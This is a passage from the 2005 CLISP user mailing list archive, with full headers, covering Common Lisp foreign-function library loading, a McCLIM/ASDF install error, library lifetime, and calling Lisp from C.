X-Original-Date: Sun, 27 Nov 2005 13:08:12 -0500 > * Lu=C3=ADs Oliveira [2005-11-27 17:41:42 +0000]: > > Sam Steingold writes: >>> (FUNCALL >>> (LOAD-TIME-VALUE >>> (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY >>> :DEFAULT) NIL >>> (FFI:PARSE-C-TYPE >>> '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE >>> :STDC)))))) >>> >>> as i say it works on OSX. But I might also be having problems with the >>> portmidi.dll itself. >> >> I would expect to see "portmidi.dll" instead of :default >> I think you should try to talk to the cffi people > > We use :default there because the library name is not passed to > CFFI:DEFCFUN, in a similar way to pretty much every other FFI. I > suppose this will have to change if we want to support CLISP's > non-dynamic FFI. if by "non-dynamic FFI" you mean clisp-link, then :default is not the way. if I understand correctly how dlsym() works, it is enough to open the library once with (ffi::foreign-library "portmidi.dll") and then you can find symbols there with (:library :default) which means dlsym("foo",RTLD_DEFAULT). --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://www.camera.org http://www.dhimmi.com/ http://www.palestinefacts.org/ Marriage is the sole cause of divorce. From taube@uiuc.edu Sun Nov 27 12:00:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgShW-0005Dm-DF for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 12:00:42 -0800 Received: from smtp103.sbc.mail.mud.yahoo.com ([68.142.198.202]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EgShQ-0003JT-2z for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 12:00:39 -0800 Received: (qmail 77458 invoked from network); 27 Nov 2005 20:00:19 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@70.225.179.173 with plain) by smtp103.sbc.mail.mud.yahoo.com with SMTP; 27 Nov 2005 20:00:18 -0000 In-Reply-To: References: <694466c775ba89f1b95803bd1305eb5a@uiuc.edu> <0d62f3b512264fcbd06023193463a44e@uiuc.edu> Mime-Version: 1.0 (Apple Message framework v623) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <2bb3d8cdf94045b161e588ab54a3f2be@uiuc.edu> Content-Transfer-Encoding: 7bit Cc: cffi-devel@common-lisp.net, CLISP List From: Rick Taube Subject: Re: [clisp-list] Re: clisp/win32 and (ffi::foreign-library :default) To: =?ISO-8859-1?Q?Lu=EDs_Oliveira?= X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 12:01:08 2005 X-Original-Date: Sun, 27 Nov 2005 14:00:17 -0600 > > Rick, can you send a testcase to CFFI mailing list perhaps along with > the results of running CFFI's testsuite? yes of course, ill get another crack at that windows machine later today or tomorrow. but im thinking that this may be due -- in whole or in part -- to a problem with the .dll itself because i couldnt load it into lispworks personal either. (the portmidi.dll was sent to me by someone with a c compiler on xp...) i also have a CFFI interface to MidiShare that works in clisp on osx, ill download the xp midshare distribution and try that too... From daly@axiom-developer.org Sun Nov 27 19:06:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgZLs-0002Gk-2w for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 19:06:48 -0800 Received: from mx-2.zoominternet.net ([24.154.1.21]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EgZLq-0007Pl-KX for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 19:06:48 -0800 Received: from mua-2.zoominternet.net (mua-2.zoominternet.net [24.154.1.45]) by mx-2.zoominternet.net (8.12.11/8.12.11) with ESMTP id jAS36mX1018439; Sun, 27 Nov 2005 22:06:48 -0500 Received: from localhost.localdomain (acs-72-23-23-52.zoominternet.net [72.23.23.52]) by mua-2.zoominternet.net (Postfix) with ESMTP id 6A34C7F403; Sun, 27 Nov 2005 22:06:43 -0500 (EST) Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id jAS3v2m19195; Sun, 27 Nov 2005 22:57:02 -0500 Message-Id: <200511280357.jAS3v2m19195@localhost.localdomain> From: root To: clisp-list@lists.sourceforge.net Cc: daly@axiom-developer.org Reply-To: daly@axiom-developer.org X-Spam-Score: 2.50 (**) [Tag at 15.00] FORGED_RCVD_HELO,J_CHICKENPOX_43,J_CHICKENPOX_64,J_CHICKENPOX_74,J_CHICKENPOX_75 X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.21 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp and mcclim Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 19:07:03 2005 X-Original-Date: Sun, 27 Nov 2005 22:57:02 -0500 mcclim contains an INSTALL.CLISP file with the attached instructions. Unfortunately the third instruction fails. I'm using cl-asdf-1.89-orig I'm using clisp-2.35 I'm in /tmp/mcclim-0.9.1 which contains system.lisp I do: cp cl-asdf-1.89-orig/asdf.lisp . /tmp/clisp-2.35/src/clisp > (compile-file "asdf.lisp") > (quit) /tmp/clisp-2.35/src/clisp -K full -i $ASDF/asdf.fas -i system.lisp ;; Loading file asdf.fas ;; Loaded file asdf.fas ;; Loading file system.lisp ;; Loading file /tmp/macclim-0.9.1/Backends/CLX/system.lisp ;; Loaded file /tmp/macclim-0.9.1/Backends/CLX/system.lisp *** - Condition of type ASDF:DUPLICATE-NAMES Break 1 [2]> suggestions? Tim Daly ================================================================= Install instructions for GNU CLISP ---------------------------------- :::NOTE::: These install instructions refer to the "system.lisp" installation approach. If you have ASDF available, we recommend you follow the install instructions in INSTALL.ASDF. :::NOTE::: 1. Get clisp-20041218 or newer. Build it with option --with-module=clx/mit-clx. 2. Get a copy of the ASDF package. Compile it: $ clisp -c $ASDF/asdf.lisp 3. Start $ clisp -K full -i $ASDF/asdf.fas -i system.lisp From hoxide@gmail.com Sun Nov 27 21:01:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Egb99-0007Yh-Q7 for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 21:01:47 -0800 Received: from zproxy.gmail.com ([64.233.162.195]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Egb98-0004us-NT for clisp-list@lists.sourceforge.net; Sun, 27 Nov 2005 21:01:47 -0800 Received: by zproxy.gmail.com with SMTP id z3so2039802nzf for ; Sun, 27 Nov 2005 21:01:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=Pman3TU2YwaTn/XVC3kCfopj0HvKbh69cE+hAafdyCUqdsyN4dyM2LVc2eOTX+GTCAejcHJBhL0wSkFb5TmWRhxnBUN6sIzRTQMMUnJKQDhW+wayYq5ol6uBhxiSlvljoS6GDw57yl9ndBZvrL4MOYZYSuCO9RHHjKOT7OqJx1g= Received: by 10.36.251.8 with SMTP id y8mr3155499nzh; Sun, 27 Nov 2005 21:01:45 -0800 (PST) Received: by 10.36.227.35 with HTTP; Sun, 27 Nov 2005 21:01:45 -0800 (PST) Message-ID: From: hoxide Ma To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.6 MISSING_SUBJECT Missing Subject: header Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 27 21:02:00 2005 X-Original-Date: Mon, 28 Nov 2005 13:01:45 +0800 From sds@gnu.org Mon Nov 28 06:44:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EgkFG-0003AW-HD for clisp-list@lists.sourceforge.net; Mon, 28 Nov 2005 06:44:42 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EgkFD-0005gl-M1 for clisp-list@lists.sourceforge.net; Mon, 28 Nov 2005 06:44:42 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jASEiC1n007636; Mon, 28 Nov 2005 09:44:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511280357.jAS3v2m19195@localhost.localdomain> (root's message of "Sun, 27 Nov 2005 22:57:02 -0500") References: <200511280357.jAS3v2m19195@localhost.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp and mcclim Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 28 06:45:10 2005 X-Original-Date: Mon, 28 Nov 2005 09:43:12 -0500 > * root [2005-11-27 22:57:02 -0500]: > > mcclim contains an INSTALL.CLISP file with the attached instructions. > Unfortunately the third instruction fails. usually it is a good idea to contact the "low" package maintainers. e.g. if you use package X (that requires package Y that requires McCLIM) under CLISP and you get an error, I would contact the maintainers of X before contacting the maintainers of Y before contacting the maintainers of McCLIM before contacting the maintainers of CLISP. (mostly because the maintainers of Y do not necessarily use X so they would need a self-contained bug report.) but I may be wrong - you can turn up a self-contained test case that CLISP fails, I would be delighted to have a shot at it. > I'm using cl-asdf-1.89-orig > I'm using clisp-2.35 > I'm in /tmp/mcclim-0.9.1 which contains system.lisp > > I do: > > cp cl-asdf-1.89-orig/asdf.lisp . > /tmp/clisp-2.35/src/clisp > > (compile-file "asdf.lisp") > > (quit) > /tmp/clisp-2.35/src/clisp -K full -i $ASDF/asdf.fas -i system.lisp > ;; Loading file asdf.fas > ;; Loaded file asdf.fas > ;; Loading file system.lisp > ;; Loading file /tmp/macclim-0.9.1/Backends/CLX/system.lisp > ;; Loaded file /tmp/macclim-0.9.1/Backends/CLX/system.lisp > *** - Condition of type ASDF:DUPLICATE-NAMES > Break 1 [2]> > > suggestions? well, I would try at least ":bt1" and ":i" before asking the McCLIM maintainers for help. see http://clisp.cons.org/impnotes/debugger.html > Install instructions for GNU CLISP > ---------------------------------- > > :::NOTE::: > These install instructions refer to the "system.lisp" installation > approach. If you have ASDF available, we recommend you follow the > install instructions in INSTALL.ASDF. > :::NOTE::: > > 1. Get clisp-20041218 or newer. Build it with option --with-module=clx/mit-clx. > > 2. Get a copy of the ASDF package. Compile it: > $ clisp -c $ASDF/asdf.lisp > > 3. Start > $ clisp -K full -i $ASDF/asdf.fas -i system.lisp looks reasonable (except that I would also suggest "-norc", see http://clisp.cons.org/impnotes/clisp.html#opt-norc). -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.iris.org.il http://www.camera.org http://ffii.org/ http://truepeace.org http://www.mideasttruth.com/ What's the difference between Apathy & Ignorance? -I don't know and don't care! From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 29 02:32:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh2mb-00008u-L9 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 02:32:21 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh2ma-0000VG-5A for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 02:32:21 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 29 Nov 2005 11:32:04 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Nov 2005 11:32:04 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: hopexy@gmail.com Subject: [clisp-list] Re: about ffi:close-foreign-library MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 02:33:25 2005 X-Original-Date: Tue, 29 Nov 2005 11:32:03 +0100 Hi, xu yong writes: >(close-foreign-library "user32.dll") > >I got message which says ---# MessageBox function resides in user32.dll. >it would be very in-efficient because,I guess, >the lib loading and unloading happen every time the lib=20 >function is called. I wouldn't bother about opening a library such central as user32.dll = several times. It's very likely to be already in use by the system = (possibly even CLISP itself?) and therefore need not be reloaded from = disk. You're right to raise the question of the lifetime of a library in an = application. Should it o be opened each time a tiny function uses it (which happens rarely?) o be opened at some larger level (i.e. when a group of functions is = entered)? o be opened when my application starts? o be opened when clisp starts? However, you are the one to make choice and provide an answer. One note, though: Executing (Loading) a def-call-out form at top-level = will cause the library to be opened. Therefore I guess that most = clisp-users will only ever use foreign functions that have been opened = when their application (or the clisp image) was loaded. I suppose only few users control exactly the lifetime of a foreign = function object (or rather its associated library). CMO/DCOM would use = this. Regards, J=F6rg H=F6hle. From gscrivano@gmail.com Tue Nov 29 04:19:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh4S7-0005f4-S4 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 04:19:19 -0800 Received: from zproxy.gmail.com ([64.233.162.205]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh4S5-0006nT-CA for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 04:19:19 -0800 Received: by zproxy.gmail.com with SMTP id 34so137403nzf for ; Tue, 29 Nov 2005 04:19:16 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:to:subject:from:date:message-id:user-agent:mime-version:content-type; b=rK0sSb1aBqb6ULEuKGgWTzoVSlLu20gHWhOqVYdwoaspPpiIyZTy5Xm6N1zSTiHad0LhY54z5jltWlb9x0ZFDyjU7UijUYBcALeIS4+w6LrxChJCDGhTsuIAYKgE/fg7gb6UzzJIGgZR1lvea8dqqq6uSnQaoDzoI9LFHZm2PxI= Received: by 10.65.114.15 with SMTP id r15mr2469378qbm; Tue, 29 Nov 2005 04:19:15 -0800 (PST) Received: from steel ( [84.222.169.15]) by mx.gmail.com with ESMTP id e18sm393929qbe.2005.11.29.04.19.13; Tue, 29 Nov 2005 04:19:14 -0800 (PST) Received: from gscrivano by steel with local (Exim 4.54) id 1Eh4Sj-0001mi-F2 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 13:19:57 +0100 To: clisp-list@lists.sourceforge.net From: Giuseppe Scrivano Message-ID: <87fypf7ij6.fsf@gmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Common lisp code from a C/C++ program Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 04:20:24 2005 X-Original-Date: Tue, 29 Nov 2005 13:19:57 +0100 Hello, I am trying to call a common lisp function from a C/C++ program, is it possible? Can it be done in a way like libguile for MIT scheme? Thanks. From pjb@informatimago.com Tue Nov 29 05:58:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh60H-0003Hb-DA for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 05:58:41 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh60D-0002qW-Qd for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 05:58:41 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D4EF258344; Tue, 29 Nov 2005 14:58:21 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 961DE5833D; Tue, 29 Nov 2005 14:58:17 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5AF4E88A2; Tue, 29 Nov 2005 14:58:16 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17292.24184.335161.662541@thalassa.informatimago.com> To: Giuseppe Scrivano Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Common lisp code from a C/C++ program In-Reply-To: <87fypf7ij6.fsf@gmail.com> References: <87fypf7ij6.fsf@gmail.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 05:59:43 2005 X-Original-Date: Tue, 29 Nov 2005 14:58:16 +0100 Giuseppe Scrivano writes: > I am trying to call a common lisp function from a C/C++ program, is > it possible? Can it be done in a way like libguile for MIT scheme? Have a look at Embeddable Common Lisp, ecl, http://ecls.sourceforge.net It should be possible to do the same with clisp, but some "manual assembly requried"... -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live. From sds@gnu.org Tue Nov 29 06:36:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh6aA-0005d3-CZ for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 06:35:46 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh6a7-0001oT-Mj for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 06:35:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATEZHlD012713; Tue, 29 Nov 2005 09:35:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Giuseppe Scrivano Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87fypf7ij6.fsf@gmail.com> (Giuseppe Scrivano's message of "Tue, 29 Nov 2005 13:19:57 +0100") References: <87fypf7ij6.fsf@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Giuseppe Scrivano Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Common lisp code from a C/C++ program Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 06:37:47 2005 X-Original-Date: Tue, 29 Nov 2005 09:34:19 -0500 > * Giuseppe Scrivano [2005-11-29 13:19:57 +0100]: > > I am trying to call a common lisp function from a C/C++ program, is it > possible? http://clisp.cons.org/impnotes/dffi.html#def-call-in -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.mideasttruth.com/ http://www.savegushkatif.org http://www.openvotingconsortium.org/ http://ffii.org/ http://www.dhimmi.com/ He who laughs last did not get the joke. From sds@gnu.org Tue Nov 29 06:40:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh6eG-0005rh-Jh for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 06:40:00 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh6e7-0003iJ-As for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 06:40:00 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATEdXeH012864; Tue, 29 Nov 2005 09:39:33 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 29 Nov 2005 11:32:03 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 06:41:01 2005 X-Original-Date: Tue, 29 Nov 2005 09:38:34 -0500 Joerg, CLISP impnotes still have Low-level =E2=80=9CFFI=E2=80=9D forms (FFI:MEMORY-AS address type &OPTIONAL offset) (SETF (FFI:MEMORY-AS address type &OPTIONAL offset) value) FIXME could you please fix the documentation? I want to release 2.36 rather soon, so it would be nice to have the documentation finished. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.camera.org http://www.mideasttruth.com/ http://www.savegushkatif.org http://www.palestinefacts.org/ Only the mediocre are always at their best. From hopexy@gmail.com Tue Nov 29 07:00:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh6yE-0007Qs-7m for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:00:38 -0800 Received: from xproxy.gmail.com ([66.249.82.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh6yD-0005pd-Te for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:00:38 -0800 Received: by xproxy.gmail.com with SMTP id i26so2506183wxd for ; Tue, 29 Nov 2005 07:00:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=T4dQEj+/nWcwoolaR+GDLDHm4ezXaFmiv1MhZv0qMeYWsyMCfz9ChTGfG8nd3xeJH/VoNgU4jBuRInFlc60lYwRLwmLRxNWftG1VKTERjPkdtTWxLqvL/HdcN2iwJiONoP+AjGlmeq9upUgtVnUdvju2xXfHrGPy0NuYbekILk0= Received: by 10.65.11.14 with SMTP id o14mr4629565qbi; Tue, 29 Nov 2005 07:00:27 -0800 (PST) Received: by 10.65.191.11 with HTTP; Tue, 29 Nov 2005 07:00:27 -0800 (PST) Message-ID: <38b3aaee0511290700y5b93b4br@mail.gmail.com> From: xu yong To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: about ffi:close-foreign-library Cc: "Hoehle, Joerg-Cyril" In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 07:01:03 